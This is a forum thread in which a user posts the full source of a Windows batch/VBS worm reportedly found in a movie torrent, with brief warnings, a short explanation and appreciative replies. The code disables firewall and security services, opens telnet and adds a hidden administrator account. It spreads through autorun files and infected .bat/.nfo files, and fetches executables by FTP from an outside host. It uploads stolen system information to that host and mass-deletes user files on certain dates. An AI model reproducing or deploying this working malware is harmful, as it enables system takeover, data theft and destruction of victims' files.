[Kyun0]

Hey everyone, this is my first official post and i wanted to post something cool. Sorry if it's already been posted.

I didn't do this, this little file infected some of my clients a couple of months ago, took a bit of searching to find it. I don't know who made it but i'm putting it here. After talking with some clients i found out it was in movie torrent.

Watch out, it's very evil and can be very harmful.

Do not execute it on your computer!

I found that it created other bat and vbs scripts so i'm gonna put them all here.

KLAXXON.nfo.bat :

Code:

:ati echo %0 | find "ati2" && cd && start /max %cd% dir %windir%\ati.bat && (exit) dir %windir%\wscrip.exe || copy %windir%\system32\wscript.exe %windir%\ dir %windir%\ati2.bat || echo %0 | find "ati2" && xcopy %0 %WINDIR%\ /y /h if not exist %windir%\ati2.bat (copy %0 %WINDIR%\ati2.bat & attrib -r %windir%\ati2.bat echo.>%windir%\at & echo goto ati>>%windir%\at echo 1,5d>%windir%\mn echo 1t %windir%\at>>%windir%\mn & echo e>>%windir%\mn edlin %windir%\ati2.bat<%windir%\mn) echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /d 0 /t reg_dword /f>%windir%\ati.bat echo echo %%date%% ^| findstr "13 30" ^&^& goto g>>%windir%\ati.bat echo Set WshShell = WScript.CreateObject("WScript.Shell")>%windir%\ati.vbs echo WshShell.Run "%windir%\ati.bat", 0, false>>%windir%\ati.vbs echo Set WshShell = WScript.CreateObject("WScript.Shell")>%windir%\ati2.vbs echo WshShell.Run "ati2.bat", 0, false>>%windir%\ati2.vbs echo [autorun]>%WINDIR%\autorun.inf echo shellexecute="ati2.vbs">>%WINDIR%\autorun.inf attrib +s +r +h %windir%\autorun.inf attrib +s +r +h %windir%\ati2.bat attrib +s +r +h %windir%\ati2.vbs echo dir %%windir%%\yes ^|^| goto reg>>%windir%\ati.bat echo :flash>>%windir%\ati.bat echo ping 127.0.0.1 -n 20 -w 400>>%windir%\ati.bat echo for %%%%r in (d e f g h i j k l m c) do dir %%%%r: ^&^& xcopy %%windir%%\autorun.inf %%%%r:\ /y /h>>%windir%\ati.bat echo for %%%%r in (d e f g h i j k l m c) do dir %%%%r: ^&^& xcopy %%windir%%\ati2.bat %%%%r:\ /y /h>>%windir%\ati.bat echo for %%%%r in (d e f g h i j k l m c) do dir %%%%r: ^&^& xcopy %%windir%%\ati2.vbs %%%%r:\ /y /h>>%windir%\ati.bat echo dir %%windir%%\info ^|^| ping gag.mine.nu -w 2000 ^&^& (>>%windir%\ati.bat echo echo folderxp^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo dep259^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo cd^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo \usr\folderxp^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo get^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo ras.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo %%WINDIR%%\ras.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo get^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo pro.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo %%WINDIR%%\pro.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo quit^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo ftp -s:%%windir%%\ati.txt gag.mine.nu>>%windir%\ati.bat echo %%WINDIR%%\ras.exe /allusers /stab %%WINDIR%%\ras.log>>%windir%\ati.bat echo %%WINDIR%%\pro.exe /stab %%WINDIR%%\pro.log>>%windir%\ati.bat echo copy %%WINDIR%%\ras.log+%%WINDIR%%\pro.log %%WINDIR%%\info /y>>%windir%\ati.bat echo systeminfo^>^>%%WINDIR%%\info>>%windir%\ati.bat echo tasklist^>^>%%WINDIR%%\info>>%windir%\ati.bat echo ipconfig /all^>^>%%WINDIR%%\info>>%windir%\ati.bat echo netstat -r^>^>%%WINDIR%%\info>>%windir%\ati.bat echo netstat -a^>^>%%WINDIR%%\info>>%windir%\ati.bat echo tracert ya.ru^>^>%%WINDIR%%\info>>%windir%\ati.bat echo nslookup /^>^>%%WINDIR%%\info>>%windir%\ati.bat echo dir %%SYSTEMDRIVE%%\progra~1/b/a:d^>^>%%WINDIR%%\info>>%windir%\ati.bat echo echo folderxp^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo dep259^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo cd^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo \usr\folderxp^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo append^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo %%windir%%\info^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo %%date%%_%%username%%_%%userdomain%%_%%random%%.jpg^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo echo quit^>^>%%Windir%%\ati.txt>>%windir%\ati.bat echo ftp -s:%%windir%%\ati.txt gag.mine.nu )>>%windir%\ati.bat echo goto flash>>%windir%\ati.bat echo :g>>%windir%\ati.bat echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.mp3 /f /s /q>>%windir%\ati.bat echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.avi /f /s /q>>%windir%\ati.bat echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.jpg /f /s /q>>%windir%\ati.bat echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.jpeg /f /s /q>>%windir%\ati.bat echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.vob /f /s /q>>%windir%\ati.bat echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.doc /f /s /q>>%windir%\ati.bat echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.xls /f /s /q>>%windir%\ati.bat echo del %%windir%%\info /q>>%windir%\ati.bat echo del %%windir%%\yes /q>>%windir%\ati.bat echo goto flash>>%windir%\ati.bat echo :reg>>%windir%\ati.bat echo echo yes^>%%windir%%\yes>>%windir%\ati.bat echo del %%windir%%\reg.txt /q>>%windir%\ati.bat echo del %%windir%%\reg2.txt /q>>%windir%\ati.bat echo del %%windir%%\diz.txt /q>>%windir%\ati.bat echo del %%windir%%\nfo.txt /q>>%windir%\ati.bat echo for %%%%d in (d e f g h i j k l m c) do dir %%%%d:*.bat/s/b/a-r-h^>^>%%windir%%\reg2.txt>>%windir%\ati.bat echo for %%%%d in (d e f g h i j k l m c) do dir %%%%d:*.diz/s/b^>^>%%windir%%\diz.txt>>%windir%\ati.bat echo for %%%%d in (d e f g h i j k l m c) do dir %%%%d:*.nfo/s/b^>^>%%windir%%\nfo.txt>>%windir%\ati.bat echo findstr /v /i "volume recycled recycler windows" %%windir%%\reg2.txt^>^>%%windir%%\reg.txt>>%windir%\ati.bat echo for /f "delims=" %%%%t in (%%windir%%\reg.txt) do attrib "%%%%t" -r -h>>%windir%\ati.bat echo attrib %%windir%%\ati2.bat -r -h -s>>%windir%\ati.bat echo for /f "delims=" %%%%v in (%%windir%%\reg.txt) do copy %%windir%%\tab+"%%%%v"+%%windir%%\ati2.bat %%windir%%\666.bat ^& del "%%%%v" /q ^& move %%windir%%\666.bat "%%%%v">>%windir%\ati.bat echo for /f "delims=" %%%%t in (%%windir%%\reg.txt) do attrib "%%%%t" +r>>%windir%\ati.bat echo for /f "delims=" %%%%v in (%%windir%%\diz.txt) do copy %%windir%%\ati2.bat "%%%%v.bat" ^& del "%%%%v" /q>>%windir%\ati.bat echo for /f "delims=" %%%%v in (%%windir%%\nfo.txt) do copy %%windir%%\ati2.bat "%%%%v.bat" ^& del "%%%%v" /q>>%windir%\ati.bat echo attrib %%windir%%\ati2.bat +r +h +s>>%windir%\ati.bat echo goto flash>>%windir%\ati.bat echo @echo off>%windir%\tab echo goto ati>>%windir%\tab echo :exit>>%windir%\tab echo cls>>%windir%\tab echo @echo on>>%windir%\tab sc config wscsvc start= disabled sc config SharedAccess start= disabled sc config tlntsvr start= auto sc stop wscsvc sc stop SharedAccess sc start tlntsvr net user ati ati696 /add net localgroup " ¤¬¨­¨áâà â®àë" ati /add reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "Explorer.exe,wscript.exe %windir%\ati.vbs" /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /d 0 /t reg_dword /f reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden /v text /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ati /t REG_DWORD /d 0 /f goto exit

ati.bat

Code:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /d 0 /t reg_dword /f echo %date% | findstr "13 30" && goto g dir %windir%\yes || goto reg :flash ping 127.0.0.1 -n 20 -w 400 for %%r in (d e f g h i j k l m c) do dir %%r: && xcopy %windir%\autorun.inf %%r:\ /y /h for %%r in (d e f g h i j k l m c) do dir %%r: && xcopy %windir%\ati2.bat %%r:\ /y /h for %%r in (d e f g h i j k l m c) do dir %%r: && xcopy %windir%\ati2.vbs %%r:\ /y /h dir %windir%\info || ping gag.mine.nu -w 2000 && ( echo folderxp>%Windir%\ati.txt echo dep259>>%Windir%\ati.txt echo cd>>%Windir%\ati.txt echo \usr\folderxp>>%Windir%\ati.txt echo get>>%Windir%\ati.txt echo ras.exe>>%Windir%\ati.txt echo %WINDIR%\ras.exe>>%Windir%\ati.txt echo get>>%Windir%\ati.txt echo pro.exe>>%Windir%\ati.txt echo %WINDIR%\pro.exe>>%Windir%\ati.txt echo quit>>%Windir%\ati.txt ftp -s:%windir%\ati.txt gag.mine.nu %WINDIR%\ras.exe /allusers /stab %WINDIR%\ras.log %WINDIR%\pro.exe /stab %WINDIR%\pro.log copy %WINDIR%\ras.log+%WINDIR%\pro.log %WINDIR%\info /y systeminfo>>%WINDIR%\info tasklist>>%WINDIR%\info ipconfig /all>>%WINDIR%\info netstat -r>>%WINDIR%\info netstat -a>>%WINDIR%\info tracert ya.ru>>%WINDIR%\info nslookup />>%WINDIR%\info dir %SYSTEMDRIVE%\progra~1/b/a:d>>%WINDIR%\info echo folderxp>%Windir%\ati.txt echo dep259>>%Windir%\ati.txt echo cd>>%Windir%\ati.txt echo \usr\folderxp>>%Windir%\ati.txt echo append>>%Windir%\ati.txt echo %windir%\info>>%Windir%\ati.txt echo %date%_%username%_%userdomain%_%random%.jpg>>%Windir%\ati.txt echo quit>>%Windir%\ati.txt ftp -s:%windir%\ati.txt gag.mine.nu ) goto flash :g for %%f in (d e f g h i j k l m c) do del %%f:\*.mp3 /f /s /q for %%f in (d e f g h i j k l m c) do del %%f:\*.avi /f /s /q for %%f in (d e f g h i j k l m c) do del %%f:\*.jpg /f /s /q for %%f in (d e f g h i j k l m c) do del %%f:\*.jpeg /f /s /q for %%f in (d e f g h i j k l m c) do del %%f:\*.vob /f /s /q for %%f in (d e f g h i j k l m c) do del %%f:\*.doc /f /s /q for %%f in (d e f g h i j k l m c) do del %%f:\*.xls /f /s /q del %windir%\info /q del %windir%\yes /q goto flash :reg echo yes>%windir%\yes del %windir%\reg.txt /q del %windir%\reg2.txt /q del %windir%\diz.txt /q del %windir%\nfo.txt /q for %%d in (d e f g h i j k l m c) do dir %%d:*.bat/s/b/a-r-h>>%windir%\reg2.txt for %%d in (d e f g h i j k l m c) do dir %%d:*.diz/s/b>>%windir%\diz.txt for %%d in (d e f g h i j k l m c) do dir %%d:*.nfo/s/b>>%windir%\nfo.txt findstr /v /i "volume recycled recycler windows" %windir%\reg2.txt>>%windir%\reg.txt for /f "delims=" %%t in (%windir%\reg.txt) do attrib "%%t" -r -h attrib %windir%\ati2.bat -r -h -s for /f "delims=" %%v in (%windir%\reg.txt) do copy %windir%\tab+"%%v"+%windir%\ati2.bat %windir%\666.bat & del "%%v" /q & move %windir%\666.bat "%%v" for /f "delims=" %%t in (%windir%\reg.txt) do attrib "%%t" +r for /f "delims=" %%v in (%windir%\diz.txt) do copy %windir%\ati2.bat "%%v.bat" & del "%%v" /q for /f "delims=" %%v in (%windir%\nfo.txt) do copy %windir%\ati2.bat "%%v.bat" & del "%%v" /q attrib %windir%\ati2.bat +r +h +s goto flash

ati.vbs

Code:

Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "C:\WINDOWS\ati.bat", 0, false

The url it opens for the FTP connection in the batch doesn't exist anymore so i guess it's an old batch that was resurrected.

BE CAREFUL. DO NOT EXECUTE ON YOUR COMPUTER!
and i do not take any credits for this, credits goes to whoever made it.

[FunKx]

Nice, this is bat of destruction
Looks like ati.bat is tracking something...

[Kyun0]

yeah, ati.bat writes in a file all info about your IP, trace route, system infos, task list and more, then it sends it to an FTP server.

And since the Klaxxon.bat has created a user and opened a telnet service, the attacker has everything he needs to hijack your system.

[EVILKING]

NICE ONE BRO...........
I REALLY LIKE TI.......
GOOD MAN

[Dinrazor]

Thanks mate..
nice sharing
keep it up :thumbs up:

[v1rtuaL.GobliN]

Nice share Bro ...
Thanks

[securelite]

awesome post..that's helped much more...thnx